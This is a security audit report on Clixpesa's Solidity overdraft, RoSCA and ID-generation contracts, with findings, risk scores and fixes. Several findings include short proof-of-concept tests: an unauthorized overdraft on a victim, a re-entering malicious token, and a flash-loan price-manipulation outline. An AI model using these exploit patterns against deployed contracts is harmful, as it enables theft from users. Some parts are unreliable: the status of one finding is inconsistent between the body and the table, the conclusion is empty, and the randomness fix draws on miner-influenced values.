Clixpesa

Smart Contract Security Audit

Prepared by BlockHat

June 1st, 2025 – June 7th, 2025

BlockHat.io

contact@blockhat.io

Document Properties

Client	Clixpesa
Version	0.1
Classification	Public

Scope

The Clixpesa smart contracts (Audit and Re-audit smart contracts)

File	Md5
roscas/Roscas.sol	4064f7b26f7d2d495b46b715be017e6b
roscas/IRoscas.sol	992ac792815dbeade06afad91e8d23f8
overdraft/Overdraft.sol	03f69f4893e383a574b4a2b8283ec815
externals/uniswapV3/IUniswapV3Pool.sol	65a2bc315e09d34ca4bb36271d3b2182
libraries/GenerateId.sol	8316e12b62e3a95b593827f40d19175b
libraries/FixedPoint96.sol	c44c0364b94648657246943e7d98abfd
libraries/TickMath.sol	62c0174dff6dfc6ffd66621c58c7a58f
libraries/FullMath.sol	6aec8e7b701fa502a11d3bb223f898f0

Contacts

COMPANY	CONTACT
BlockHat	contact@blockhat.io

Contents

1 Introduction

Clixpesa engaged BlockHat to conduct a security assessment on the Clixpesa beginning on June 1st, 2025 and ending June 7th, 2025. In this report, we detail our methodical approach to evaluate potential security issues associated with the implementation of smart contracts, by exposing possible semantic discrepancies between the smart contract code and design document, and by recommending additional ideas to optimize the existing code. Our findings indicate that the current version of smart contracts can still be enhanced further due to the presence of many security and performance concerns.

This document summarizes the findings of our audit.

1.1 About Clixpesa

- Clixpesa Spaces Clixpesa spaces is basically a savings feature where users can save for personal goals, participate in saving challenges and also save in groups through RoSCAs. With Rotating Savings & Credit Associations (RoSCAs) users can come together as a group to help each other stay financially resilient. Users contribute to a pot, and the target amount goes to one of the users in a particular order until everyone has received a pot and the cycle starts over. This utility commonly known in Kenya as Chamas, helps many raise funds for otherwise big financial goals such as business capital or bills. Within the RoSCAs members can also ask for financial support for financial needs outside of the pot allocations. Users can create a RoSCA easily by inviting their friends through their phone numbers. Once the RoSCAs is created they can select their admins and around can be started. Funds disbursement happens automatically once a pot deadline is reached. Signatories to the RoSCA funds are randomised by the platform in order to give all members equal control over their funds.

- Clixpesa P2P Lending: 68% of loans in the alternative lending market in Africa are P2P loans. With Clixpesa P2P users are able to offer or request loans from each other at their own terms. Clixpesa Finance helps with monitoring the Credit scores of users and only recommending matches to users in order to minimize the risk of default among users. This feature is very useful for those who survive on day loans to run small businesses for purposes such as inventory purchases. This product greatly reduces the cost of loans as it democratises lending and also opens other earning avenues for users through interest.

Issuer	Clixpesa
Website	`www.clixpesa.com`
Type	Solidity Smart Contract
Audit Method	Whitebox

1.2 Approach & Methodology

BlockHat used a combination of manual and automated security testing to achieve a balance between efficiency, timeliness, practicability, and correctness within the audit's scope. While manual testing is advised for identifying problems in logic, procedure, and implementation, automated testing techniques help to expand the coverage of smart contracts and can quickly detect code that does not comply with security best practices.

1.2.1 Risk Methodology

Vulnerabilities or bugs identified by BlockHat are ranked using a risk assessment technique that considers both the LIKELIHOOD and IMPACT of a security incident. This framework is effective at conveying the features and consequences of technological vulnerabilities.

Its quantitative paradigm enables repeatable and precise measurement, while also revealing the underlying susceptibility characteristics that were used to calculate the Risk scores. A risk level will be assigned to each vulnerability on a scale of 5 to 1, with 5 indicating the greatest possibility or impact.

- Likelihood quantifies the probability of a certain vulnerability being discovered and exploited in the untamed.
- Impact quantifies the technical and economic costs of a successful attack.
- Severity indicates the risk's overall criticality.

Probability and impact are classified into three categories: H, M, and L, which correspond to high, medium, and low, respectively. Severity is determined by probability and impact and is categorized into four levels, namely Critical, High, Medium, and Low.

Impact				
	High	Critical	High	Medium
	Medium	High	Medium	Low
	Low	Medium	Low	Low
		High	Medium	Low
			Likelihood	

2 Findings Overview

2.1 Summary

The following is a synopsis of our conclusions from our analysis of the Clixpesa implementation. During the first part of our audit, we examine the smart contract source code and run the codebase via a static code analyzer. The objective here is to find known coding problems statically and then manually check (reject or confirm) issues highlighted by the tool. Additionally, we check business logics, system processes, and DeFi-related components manually to identify potential hazards and/or defects.

2.2 Key Findings

In general, these smart contracts are well-designed and constructed, but their implementation might be improved by addressing the discovered flaws, which include 2 critical-severity, 3 high-severity, 2 medium-severity, 6 low-severity, 5 informational-severity vulnerabilities.

Vulnerabilities	Severity	Status
Unauthorized Overdraft Creation	CRITICAL	Fixed
Reentrancy Attack Vector in Token Transfers	CRITICAL	Fixed
Price Manipulation via Flash Loans	HIGH	Fixed
ID Collision Risk Due to Truncation	HIGH	Fixed
Stack Too Deep Compilation Error	HIGH	Fixed
Missing Withdrawal Mechanism	MEDIUM	Fixed
Incorrect Loan Validation for Borrower	MEDIUM	Fixed
Arithmetic Precision Issues	LOW	Fixed
Missing Zero Address Validation	LOW	Fixed
Token Decimal Assumption	LOW	Fixed
Timestamp Manipulation Risk	LOW	Fixed
Weak Randomness in ID Generation	LOW	Acknowledged
Unbounded Loop Gas Risk	LOW	Fixed
Magic Numbers Without Constants	INFORMATIONAL	Fixed

Incomplete SafeERC20 Usage	INFORMATIONAL	Fixed
Missing Events for State Changes	INFORMATIONAL	Fixed
Inconsistent Error Handling	INFORMATIONAL	Fixed
Gas Optimization Opportunities	INFORMATIONAL	Acknowledged

3 Finding Details

A ClixpesaOverdraft.sol

A.1 Unauthorized Overdraft Creation [CRITICAL]

Description:

The useOverdraft function allows any external caller to create overdrafts for any user without authorization. There is no validation that msg.sender has permission to create an overdraft for the specified userAddress, allowing attackers to force users into unwanted debt positions.

```
function useOverdraft(address userAddress, address token, uint256 amount
    ↪ ) external {
    User storage user = users[userAddress];
    // No check that msg.sender is authorized to act for userAddress
    if (user.overdraftLimit == 0) revert OD_NotSubscribed();
    if (supportedTokens[0] != token && supportedTokens[1] != token)
        ↪ revert OD_InvalidToken();
    if (amount == 0) revert OD_MustMoreBeThanZero();
    // ... continues without authorization check
}
```

Exploit Scenario:

```
contract UnauthorizedOverdraftExploit is Test {
    function testUnauthorizedOverdraft() public {
        // Setup: victim has subscribed with 50e18 limit
        overdraft.subscribeUser(victim, 50e18, "CPODTest");

        // Attack: anyone can force overdraft on victim
        vm.prank(attacker);
        overdraft.useOverdraft(victim, mUSD, 20e18);
```

```
        // Result: victim now has unwanted debt
        ClixpesaOverdraft.User memory user = overdraft.getUser(victim);
        assertTrue(user.overdraftDebt.amountDue > 0);
        assertEq(ERC20Mock(mUSD).balanceOf(victim), 20e18);
    }
}
```

Risk Level:

Likelihood – 4
Impact - 5

Recommendation:

We recommend restricting overdraft creation to self-only or implementing proper authorization:

```
function useOverdraft(address token, uint256 amount) external
    ↪ nonReentrant {
    address userAddress = msg.sender; // Only allow self
    _processOverdraft(userAddress, token, amount);
}

// Or with authorization:
mapping(address => mapping(address => bool)) public authorizedAgents;

function useOverdraftFor(address userAddress, address token, uint256
    ↪ amount) external {
    require(userAddress == msg.sender  authorizedAgents[userAddress][msg
        ↪ .sender],
            "Unauthorized");
    _processOverdraft(userAddress, token, amount);
}
```

Status - Fixed

A.2 Reentrancy Attack Vector in Token Transfers [CRITICAL]

Description:

The contract inherits ReentrancyGuardUpgradeable but doesn't apply nonReentrant modifier to critical functions. State updates occur after external calls, violating checks-effects-interactions pattern and allowing reentrancy attacks through malicious tokens.

```
function useOverdraft(address userAddress, address token, uint256 amount) external {
    // ... state preparation ...

    // External call happens BEFORE state update
    require(IERC20(token).transfer(userAddress, amount), "Transfer failed");
    users[userAddress] = user; // State updated AFTER external call!

    emit OverdraftUsed(userAddress, baseAmount, token, amount);
}
```

Exploit Scenario:

```
contract MaliciousToken is ERC20Mock {
    ClixpesaOverdraft overdraft;
    uint256 attackCount;

    function transfer(address to, uint256 amount) public override returns (bool) {
        if (attackCount < 2 && to == msg.sender) {
            attackCount++;
            // Reenter overdraft
            overdraft.useOverdraft(msg.sender, address(this), 10e18);
        }
        return super.transfer(to, amount);
```

```
    }
}

contract ReentrancyTest is Test {
    function testReentrancy() public {
        vm.prank(attacker);
        overdraft.useOverdraft(attacker, address(maliciousToken), 10e18);

        ClixpesaOverdraft.User memory user = overdraft.getUser(attacker);
        assertTrue(user.overdraftIds.length > 1, "Reentrancy successful")
            ↪ ;
    }
}
```

Risk Level:

Likelihood – 3

Impact - 5

Recommendation:

We recommend applying nonReentrant modifier and following checks-effects-interactions pattern:

```
function useOverdraft(address userAddress, address token, uint256 amount
    ↪ )
    external
    nonReentrant
{
    // ... checks ...

    // Effects - Update ALL state BEFORE external calls
    users[userAddress] = user;

    // Interactions - External call LAST
```

```
    require(IERC20(token).transfer(userAddress, amount), "Transfer
        ↪ failed");

    emit OverdraftUsed(userAddress, baseAmount, token, amount);
}
```

Status - Fixed

A.3 Price Manipulation via Flash Loans [HIGH]

Description:

The contract uses Uniswap V3's slot0 for spot price, which is vulnerable to manipulation through flash loans. Attackers can temporarily manipulate pool prices to get favorable exchange rates for overdrafts and repayments.

```
function _getRate(address uniswapPool) internal view returns (uint256
    ↪ rate) {
    IUniswapV3Pool localUSDPool = IUniswapV3Pool(uniswapPool);
    (uint160 sqrtPriceX96,,,,,,) = localUSDPool.slot0(); // Uses spot
        ↪ price!
    uint256 price = FullMath.mulDiv(
        uint256(sqrtPriceX96) * S_FACTOR,
        uint256(sqrtPriceX96),
        FixedPoint96.Q96 * S_FACTOR
    );
    return price * S_FACTOR / FixedPoint96.Q96;
}
```

Exploit Scenario:

```
contract FlashLoanAttack {
    function attack() external {
        // 1. Get flash loan of large amount of tokenA
        // 2. Swap in Uniswap pool to manipulate price
```

```
        // 3. Call useOverdraft() at manipulated favorable rate
        // 4. Reverse the swap
        // 5. Repay flash loan
        // 6. Profit from rate difference

        uint256 balanceBefore = token.balanceOf(address(this));
        flashLoan.execute(manipulateAndBorrow);
        uint256 profit = token.balanceOf(address(this)) - balanceBefore;
        require(profit > 0, "Attack successful");
    }
}
```

Risk Level:

Likelihood – 3
Impact - 4

Recommendation:

We recommend using TWAP (Time-Weighted Average Price) instead of spot price:

```
function _getRate(address uniswapPool) internal view returns (uint256 rate) {
    IUniswapV3Pool pool = IUniswapV3Pool(uniswapPool);

    uint32[] memory secondsAgos = new uint32[](2);
    secondsAgos[0] = 600; // 10 minutes ago
    secondsAgos[1] = 0; // now

    (int56[] memory tickCumulatives,) = pool.observe(secondsAgos);
    int56 tickCumulativesDelta = tickCumulatives[1] - tickCumulatives[0];
    int24 timeWeightedAverageTick = int24(tickCumulativesDelta / 600);

```

```
    uint160 sqrtPriceX96 = TickMath.getSqrtRatioAtTick(timeWeightedAverageTick);
    // ... continue with calculation
}
```

Status - Fixed

A.4 Missing Withdrawal Mechanism [MEDIUM]

Description:

The contract collects repayments from users but has no mechanism for the owner to withdraw collected funds. This creates a honeypot where funds accumulate but cannot be retrieved.

```
function repayOverdraft(address userAddress, address token, uint256 amount) external {
    // ... validation ...

    // Funds transferred TO contract
    require(IERC20(token).transferFrom(userAddress, address(this), amount), "Repayment Failed");

    // But no function exists to withdraw these funds!
}
```

Exploit Scenario:

```
contract MissingWithdrawalTest is Test {
    function testFundsStuckInContract() public {
        // User repays overdraft
        vm.prank(user);
        overdraft.repayOverdraft(user, mUSD, 100e18);

        // Funds are now in contract
```

```
        assertEq(IERC20(mUSD).balanceOf(address(overdraft)), 100e18);

        // Owner cannot withdraw - no function exists!
        vm.prank(owner);
        vm.expectRevert(); // No withdrawal function
    }
}
```

Risk Level:

Likelihood – 5

Impact - 3

Recommendation:

We recommend adding a protected withdrawal function:

```
function withdraw(address token, uint256 amount, address recipient)
    external
    onlyOwner
    nonReentrant
{
    require(recipient != address(0), "Invalid recipient");
    require(amount > 0, "Invalid amount");

    uint256 balance = IERC20(token).balanceOf(address(this));
    require(amount <= balance, "Insufficient balance");

    require(IERC20(token).transfer(recipient, amount), "Withdrawal
        ↪ failed");

    emit Withdrawal(token, amount, recipient);
}
```

Status - Fixed

A.5 Arithmetic Precision Issues [LOW]

Description:

The order of operations in price calculations can lead to precision loss due to integer division. The current implementation performs division before multiplication in some cases, causing rounding errors.

```
function _getBaseAmount(uint256 amount, address token) internal view
    ↪ returns (uint256) {
    if (token == supportedTokens[0]) {
        uint256 rate = _getRate(uniswapPools[0]);
        // Problematic order of operations
        return (amount * 0.995e18 / rate * S_FACTOR) / S_FACTOR;
        // ^^^ division before multiplication
    }
}
```

Exploit Scenario:

```
contract PrecisionLossTest is Test {
    function testPrecisionLoss() public view {
        uint256 amount = 1e18;
        uint256 rate = 1.5e18;

        // Current implementation (loses precision)
        uint256 result1 = (amount * 0.995e18 / rate * 1e18) / 1e18;

        // Correct implementation
        uint256 result2 = (amount * 0.995e18 * 1e18) / (rate * 1e18);

        // Precision loss demonstrated
        assertTrue(result1 != result2);
    }
```

```
}
```

Risk Level:

Likelihood – 2
Impact - 2

Recommendation:

We recommend fixing the order of operations to maintain precision:

```
function _getBaseAmount(uint256 amount, address token) internal view
    ↪ returns (uint256) {
    if (token == supportedTokens[0]) {
        uint256 rate = _getRate(uniswapPools[0]);
        // Multiply first, then divide
        return (amount * 995 * S_FACTOR) / (rate * 1000);
    }
}

function _getTokenAmount(uint256 amount, address token) internal view
    ↪ returns (uint256) {
    if (token == supportedTokens[0]) {
        uint256 rate = _getRate(uniswapPools[0]);
        // Maintain precision throughout
        return (amount * rate * 1000) / (995 * S_FACTOR);
    }
}
```

Status - Fixed

A.6 Missing Zero Address Validation [LOW]

Description:

Multiple functions accept address parameters without validating they are not zero addresses. This could lead to tokens being sent to the zero address or invalid contract states.

```
function initialize(
    address[] memory _supportedTokens,
    address[] memory _uniswapV3Pools,
    string memory _key
) public initializer {
    __Ownable_init(msg.sender);
    __UUPSUpgradeable_init();
    supportedTokens = _supportedTokens; // No validation!
    uniswapPools = _uniswapV3Pools; // No validation!
    subscriptionKey = keccak256(abi.encodePacked(_key));
}

function subscribeUser(address user, uint256 initialLimit, string memory
    ↪ key) external {
    if (user == address(0)) revert OD_InvalidUser(); // Good
    // But no validation for token addresses used later
}
```

Risk Level:

Likelihood – 2

Impact - 2

Recommendation:

We recommend adding zero address checks for all address parameters:

```
function initialize(
    address[] memory _supportedTokens,
    address[] memory _uniswapV3Pools,
    string memory _key
) public initializer {
    require(_supportedTokens.length == 2, "Invalid tokens length");
    require(_uniswapV3Pools.length == 2, "Invalid pools length");

    for (uint i = 0; i < 2; i++) {
        require(_supportedTokens[i] != address(0), "Invalid token address
            ↪ ");
        require(_uniswapV3Pools[i] != address(0), "Invalid pool address")
            ↪ ;
    }

    supportedTokens = _supportedTokens;
    uniswapPools = _uniswapV3Pools;
    // ...
}
```

Status - Fixed

A.7 Token Decimal Assumption [LOW]

Description:

The contract assumes all tokens have 18 decimals, which will cause incorrect calculations for tokens like USDC (6 decimals) or others with non-standard decimals. Price calculations and conversions will be off by orders of magnitude.

```
function _getBaseAmount(uint256 amount, address token) internal view
    ↪ returns (uint256) {
    if (token == supportedTokens[1]) {
        return amount * 1; // Assumes same decimals!
    } else if (token == supportedTokens[0]) {
```

```
        uint256 rate = _getRate(uniswapPools[0]);
        return (amount * 0.995e18 / rate * S_FACTOR) / S_FACTOR; // Assumes 18 decimals
    }
}

// Constants assume 18 decimals
uint256 private constant INITIAL_LIMIT = 5e18; // Assumes 18 decimals
uint256 private constant MAX_LIMIT = 100e18; // Assumes 18 decimals
```

Risk Level:

Likelihood – 3
Impact - 3

Recommendation:

We recommend storing and using token decimals:

```
mapping(address => uint8) public tokenDecimals;

function initialize(...) public initializer {
    // ... existing code ...
    tokenDecimals[_supportedTokens[0]] = IERC20Metadata(_supportedTokens[0]).decimals();
    tokenDecimals[_supportedTokens[1]] = IERC20Metadata(_supportedTokens[1]).decimals();
}

function _getBaseAmount(uint256 amount, address token) internal view returns (uint256) {
    uint8 decimals = tokenDecimals[token];
    uint256 normalizedAmount = amount * 10**(18 - decimals); // Normalize to 18 decimals
    // ... continue with calculations
```

```
}
```

Status - Fixed

A.8 Timestamp Manipulation Risk [LOW]

Description:

Both contracts rely on block.timestamp for critical time-based logic. Miners can manipulate timestamps up to 15 seconds, which could affect loan due dates, overdraft timing, and fee calculations.

```
// In ClixpesaOverdraft.sol
user.overdraftDebt = OverdraftDebt({
    // ...
    effectTime: user.overdraftDebt.effectTime == 0 ? requestedAt : user.
        ↪ overdraftDebt.effectTime + 7 days,
    dueTime: user.overdraftDebt.dueTime == 0 ? requestedAt + 30 days :
        ↪ user.overdraftDebt.dueTime + 7 days,
    // ...
});

// In ClixpesaRoscas.sol
loan.dueDate = loan.disbursedDate + loanRequest.tenor * 1 days;
loan.maturityDate = block.timestamp + loanRequest.tenor;
```

Risk Level:

Likelihood – 2
Impact - 2

Recommendation:

We recommend using block numbers for short durations or implementing tolerance ranges:

```
uint256 constant TIMESTAMP_TOLERANCE = 900; // 15 minutes

function _isOverdue(uint256 dueTime) internal view returns (bool) {
    return block.timestamp > dueTime + TIMESTAMP_TOLERANCE;
}

// Or use block numbers for critical timing
uint256 dueBlock = block.number + (days * 6000); // ~6000 blocks per day
```

Status - Fixed

A.9 Magic Numbers Without Constants [INFORMATIONAL]

Description:

The contract contains hardcoded values without named constants, making the code harder to understand and maintain. These magic numbers represent fees, time periods, and scaling factors.

```
// Fee calculations with magic numbers
return (amount * 0.995e18 / rate * S_FACTOR) / S_FACTOR; // What is 0.995?
return (amount * 0.01e18) / S_FACTOR; // What is 0.01?

// Time periods
user.overdraftDebt.effectTime + 7 days; // Why 7 days?
requestedAt + 30 days; // Why 30 days?
subscribedAt + 60 days; // Why 60 days?

// Service fee tiers
if (amount < 5e18) return _getBaseAmount(0.2e17, supportedTokens[0]);
if (amount < 10e18) return _getBaseAmount(0.8e17, supportedTokens[0]);
```

Risk Level:

Likelihood – 1

Impact - 1

Recommendation:

We recommend defining named constants:

```
// Fee constants
uint256 private constant SWAP_FEE_MULTIPLIER = 995; // 0.5% fee
uint256 private constant SWAP_FEE_DIVISOR = 1000;
uint256 private constant ACCESS_FEE_PERCENT = 1; // 1%

// Time constants
uint256 private constant EFFECT_TIME_EXTENSION = 7 days;
uint256 private constant INITIAL_DUE_TIME = 30 days;
uint256 private constant REVIEW_PERIOD = 60 days;

// Usage
return (amount * SWAP_FEE_MULTIPLIER * S_FACTOR) / (rate *
    ↪ SWAP_FEE_DIVISOR);
return (amount * ACCESS_FEE_PERCENT) / 100;
```

Status - Fixed

A.10 Incomplete SafeERC20 Usage [INFORMATIONAL]

Description:

The contract imports SafeERC20 but doesn't use it consistently. Some token transfers use the safe methods while others use standard ERC20 transfers, which could fail silently with certain tokens.

```
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

// But then uses regular transfer
```

```
require(IERC20(token).transfer(userAddress, amount), "Transfer failed");
require(IERC20(token).transferFrom(userAddress, address(this), tokenAmount), "Repayment Failed");

// Only ClixpesaRoscas uses SafeERC20
contract ClixpesaRoscas {
    using SafeERC20 for IERC20;
    // ...
    token.safeTransfer(_to, _amount); // Good
}
```

Risk Level:

Likelihood – 1

Impact - 2

Recommendation:

We recommend using SafeERC20 consistently:

```
contract ClixpesaOverdraft {
    using SafeERC20 for IERC20;

    function _processOverdraft(...) internal {
        // Replace require(IERC20(token).transfer(...))
        IERC20(token).safeTransfer(userAddress, amount);
    }

    function repayOverdraft(...) external {
        // Replace require(IERC20(token).transferFrom(...))
        IERC20(token).safeTransferFrom(msg.sender, address(this), actualRepayment);
    }
}
```

Status - Fixed

B GenerateId.sol

B.1 ID Collision Risk Due to Truncation [HIGH]

Description:

The library truncates keccak256 hashes to only 6 bytes (48 bits), creating collision risks. Birthday paradox calculations show collisions become likely after 16.7 million IDs, which could lead to overwriting existing records.

```
function withKey(GenKey memory genKey) internal pure returns (bytes6 id) {
    id = bytes6(keccak256(abi.encode(genKey))); // Only 6 bytes!
}

function withAddressNCounter(address user, uint128 count) internal pure returns (bytes6 id) {
    id = bytes6(keccak256(abi.encodePacked(user, count))); // Only 6 bytes!
}
```

Exploit Scenario:

```
contract CollisionTest is Test {
    mapping(bytes6 => bool) seenIds;
    uint256 collisions;

    function testCollisionProbability() public {
        // With 2^48 possible values, collisions likely after sqrt(2^48 * ln(2))
        // = ~16.7 million IDs

        for (uint256 i = 0; i < 20_000_000; i++) {
```

```
            bytes6 id = bytes6(keccak256(abi.encode(i)));
            if (seenIds[id]) {
                collisions++;
            }
            seenIds[id] = true;
        }

        // Statistically expect collisions
        assertTrue(collisions > 0, "Collisions found");
    }
}
```

Risk Level:

Likelihood – 3

Impact - 4

Recommendation:

We recommend using at least 12 bytes or full 32-byte hash:

```
library GenerateId {
    // Option 1: Use full hash (recommended)
    function withKey(GenKey memory genKey) internal pure returns (
        ↪ bytes32 id) {
        id = keccak256(abi.encode(genKey));
    }

    // Option 2: At least 12 bytes for better security
    function withKey(GenKey memory genKey) internal pure returns (
        ↪ bytes12 id) {
        id = bytes12(keccak256(abi.encode(genKey)));
    }
}
```

Status - Fixed

B.2 Weak Randomness in ID Generation [LOW]

Description:

Using predictable values like sequential counters and addresses for ID generation reduces entropy. While collision risk is the main concern, predictability could also be exploited in certain attack scenarios.

```
function withAddressNCounter(address user, uint128 count) internal pure
    ↪ returns (bytes6 id) {
    id = bytes6(keccak256(abi.encodePacked(user, count)));
    // Sequential counter is predictable
}

// In Overdraft.sol
bytes6 id = GenerateId.withAddressNCounter(userAddress, ++idCounter);
// idCounter is sequential and predictable
```

Risk Level:

Likelihood – 2
Impact - 2

Recommendation:

We recommend adding more entropy sources:

```
function withAddressNCounter(
    address user,
    uint128 count,
    uint256 nonce
) internal view returns (bytes32 id) {
    id = keccak256(abi.encodePacked(
        user,
        count,
```

```
        block.timestamp,
        block.difficulty,
        nonce
    ));
}
```

Status - Acknowledged

C ClixpesaRoscas.sol

C.1 Stack Too Deep Compilation Error [HIGH]

Description:

The contract fails to compile due to stack too deep error in the approveLoan function. The Loan struct contains 16 fields, which when combined with local variables exceeds the EVM's 16-slot stack limit.

```
struct Loan {
    uint256 id; // slot 0
    uint256 roscaId; // slot 1
    address borrower; // slot 2
    address token; // slot 3
    uint256 principalAmount; // slot 4
    uint256 interestAmount; // slot 5
    uint256 repaidAmount; // slot 6
    address[] guarantors; // slot 7
    uint256 lastRepaymentDate; // slot 8
    uint256 disbursedDate; // slot 9
    uint256 maturityDate; // slot 10
    Frequency frequency; // slot 11
    uint256 installmentAmount; // slot 12
    uint8 numberOfInstallments; // slot 13
    uint256 tenor; // slot 14
    Status status; // slot 15
```

```
    uint256 dueDate; // slot 16 - OVERFLOW!
}
```

Exploit Scenario:

```
// Compilation fails with:
// Yul exception: Cannot swap Slot RET with Variable value1:
// too deep in the stack by 1 slots in
// [ RET headStart value14 value13 value12 value11 value10 value9
// value8 value7 value6 value5 value4 value3 value2 value15 value0
    ↪ value1 ]
```

Risk Level:

Likelihood – 5

Impact - 5

Recommendation:

We recommend splitting the struct into smaller components:

```
struct LoanCore {
    uint256 id;
    uint256 roscaId;
    address borrower;
    address token;
    uint256 principalAmount;
    uint256 interestAmount;
    Status status;
}

struct LoanSchedule {
    uint256 disbursedDate;
    uint256 maturityDate;
    uint256 dueDate;
```

```
    uint256 tenor;
    Frequency frequency;
}

struct LoanRepayment {
    uint256 repaidAmount;
    uint256 lastRepaymentDate;
    uint256 installmentAmount;
    uint8 numberOfInstallments;
}

// Use separate mappings
mapping(address => mapping(uint256 => LoanCore)) public loanCores;
mapping(address => mapping(uint256 => LoanSchedule)) public
    ↪ loanSchedules;
mapping(address => mapping(uint256 => LoanRepayment)) public
    ↪ loanRepayments;
```

Status - Not Fixed

C.2 Incorrect Loan Validation for Borrower [MEDIUM]

Description:

The performLoanValidityChecks function only checks msg.sender for existing loans, but when admin creates a loan for another user, it should check the actual borrower instead.

```
function requestLoan(..., address _borrower) public screening {
    address borrower;
    if (_borrower != address(0)) {
        if (!hasRole(ADMIN_ROLE, msg.sender)) revert NotAdmin();
        borrower = _borrower; // Admin creating loan for someone else
    } else {
        borrower = msg.sender;
    }
```

```
    performLoanValidityChecks(); // This checks msg.sender, not borrower!
}

function performLoanValidityChecks() internal view {
    if (userLoanStatus[msg.sender]) revert ExistingLoan(); // Wrong check!
}
```

Exploit Scenario:

```
contract LoanValidationBugTest is Test {
    function testAdminBypassesLoanCheck() public {
        // User already has a loan
        userLoanStatus[user] = true;

        // Admin can still create another loan for user
        vm.prank(admin);
        roscas.requestLoan(
            100e18, 10e18, 30, Frequency.Monthly,
            1, token, 0, user // Creating for user who has loan!
        );

        // Bug: Admin bypassed the existing loan check
    }
}
```

Risk Level:

Likelihood – 3
Impact - 3

Recommendation:

We recommend passing the actual borrower to validation:

```
function requestLoan(..., address _borrower) public screening {
    address borrower = _borrower != address(0) ? _borrower : msg.sender;

    if (_borrower != address(0) && !hasRole(ADMIN_ROLE, msg.sender)) {
        revert NotAdmin();
    }

    performLoanValidityChecks(borrower); // Pass actual borrower
}

function performLoanValidityChecks(address borrower) internal view {
    if (userLoanStatus[borrower]) revert ExistingLoan();
}
```

Status - Fixed

C.3 Unbounded Loop Gas Risk [LOW]

Description:

Several functions iterate over arrays without limiting their size, which could cause transactions to fail due to gas limits if arrays grow too large.

```
function joinRosca(address[] memory _members, uint256 _roscaId) public
    ↪ screening {
    // No limit on _members array size
    for (uint256 i = 0; i < _members.length;) {
        if (!hasRole(MEMBER_ROLE, _members[i])) revert NotRegistered();
        // ... operations for each member
        unchecked { i++; }
    }
}
```

```
function registerMembers(address[] calldata _members) external screening onlyCAdminOrRAdmin {
    // No limit on array size
    for (uint256 i = 0; i < _members.length; i++) {
        registeredMembers[_members[i]] = true;
        grantRole(MEMBER_ROLE, _members[i]);
        emit MemberRegistered(_members[i]);
    }
}
```

Risk Level:

Likelihood – 2

Impact - 3

Recommendation:

We recommend implementing batch size limits:

```
uint256 constant MAX_BATCH_SIZE = 50;

function joinRosca(address[] memory _members, uint256 _roscaId) public screening {
    require(_members.length <= MAX_BATCH_SIZE, "Batch too large");

    for (uint256 i = 0; i < _members.length;) {
        // ... existing logic
    }
}
```

Status - Fixed

C.4 Missing Events for State Changes [INFORMATIONAL]

Description:

Several important state-changing functions do not emit events, making it difficult to track contract activity off-chain and potentially missing important audit trails.

```
// ClixpesaOverdraft.sol
function updateUserDebt(address userAddress) external {
    User storage user = users[userAddress];
    // ... updates debt
    user.overdraftDebt.amountDue = amountDue + user.overdraftDebt.
        ↪ serviceFee;
    // No event emitted!
}

// ClixpesaRoscas.sol
function blockAddress(address _address, bool _blocked) external onlyRole
    ↪ (ADMIN_ROLE) {
    blockedAddresses[_address] = _blocked;
    // No event emitted!
}

function updateLoanStatus(address _member, uint256 _requestId, Status
    ↪ _status) public onlyRole(ADMIN_ROLE) {
    loans[_member][_requestId].status = _status;
    // No event emitted!
}
```

Risk Level:

Likelihood – 1
Impact - 1

Recommendation:

We recommend adding events for all state changes:

```
event UserDebtUpdated(address indexed user, uint256 newDebt, uint256 serviceFee);
event AddressBlocked(address indexed blockedAddress, bool blocked);
event LoanStatusManuallyUpdated(address indexed member, uint256 requestId, Status newStatus);

function updateUserDebt(address userAddress) external {
    // ... existing logic
    user.overdraftDebt.amountDue = amountDue + user.overdraftDebt.serviceFee;
    emit UserDebtUpdated(userAddress, user.overdraftDebt.amountDue, user.overdraftDebt.serviceFee);
}
```

Status - Fixed

C.5 Inconsistent Error Handling [INFORMATIONAL]

Description:

The contract uses a mix of custom errors, require statements, and assert statements. Using assert for business logic is inappropriate as it consumes all gas on failure and indicates invariant violations rather than input validation.

```
// Custom errors (good)
if (!hasRole(MEMBER_ROLE, _member)) revert NotRegistered();

// Require statements (inconsistent)
require(!hasActiveRoscaLoanRequest[_roscaId], "Rosca already has an active loan");

// Assert for business logic (bad)
assert(msg.sender == roscas[roscaId].admin);
```

```
assert(msg.sender == roscas[_roscaId].admin);
```

Risk Level:

Likelihood – 1

Impact - 1

Recommendation:

We recommend using custom errors consistently:

```
error NotRoscaAdmin();
error ActiveLoanExists();

// Replace assert with custom error
if (msg.sender != roscas[roscaId].admin) revert NotRoscaAdmin();

// Replace require with custom error
if (hasActiveRoscaLoanRequest[_roscaId]) revert ActiveLoanExists();
```

Status - Fixed

C.6 Gas Optimization Opportunities [INFORMATIONAL]

Description:

Several patterns in the code could be optimized to reduce gas consumption, including struct packing, storage access patterns, and redundant operations.

```
// Inefficient struct packing
struct Loan {
    uint256 id; // 32 bytes
    uint256 roscaId; // 32 bytes
    address borrower; // 20 bytes (12 wasted)
    address token; // 20 bytes (12 wasted)
    // ... more fields not optimally packed
```

```
}

// Multiple storage reads
User storage user = users[userAddress];
if (user.overdraftLimit == 0) revert OD_NotSubscribed(); // Read 1
if (baseAmount > user.availableLimit) revert OD_LimitExceeded(); // Read 2
user.availableLimit = user.availableLimit - baseAmount; // Read 3

// Redundant calculations
user.overdraftDebt.effectTime == 0 ? requestedAt : user.overdraftDebt.effectTime + 7 days;
user.overdraftDebt.dueTime == 0 ? requestedAt + 30 days : user.overdraftDebt.dueTime + 7 days;
```

Risk Level:

Likelihood – 1

Impact - 1

Recommendation:

We recommend optimizing storage and access patterns:

```
// Better struct packing
struct LoanOptimized {
    uint256 id;
    uint256 roscaId;
    uint256 principalAmount;
    uint256 interestAmount;
    address borrower; // Pack addresses together
    address token;
    uint64 disbursedDate; // Use smaller types for timestamps
    uint64 maturityDate;
    uint64 lastRepaymentDate;
```

```
    Status status; // Pack with other small types
    Frequency frequency;
}

// Cache storage reads
User storage user = users[userAddress];
uint256 overdraftLimit = user.overdraftLimit; // Cache
uint256 availableLimit = user.availableLimit; // Cache

if (overdraftLimit == 0) revert OD_NotSubscribed();
if (baseAmount > availableLimit) revert OD_LimitExceeded();
```

Status - Acknowledged

4 Conclusion

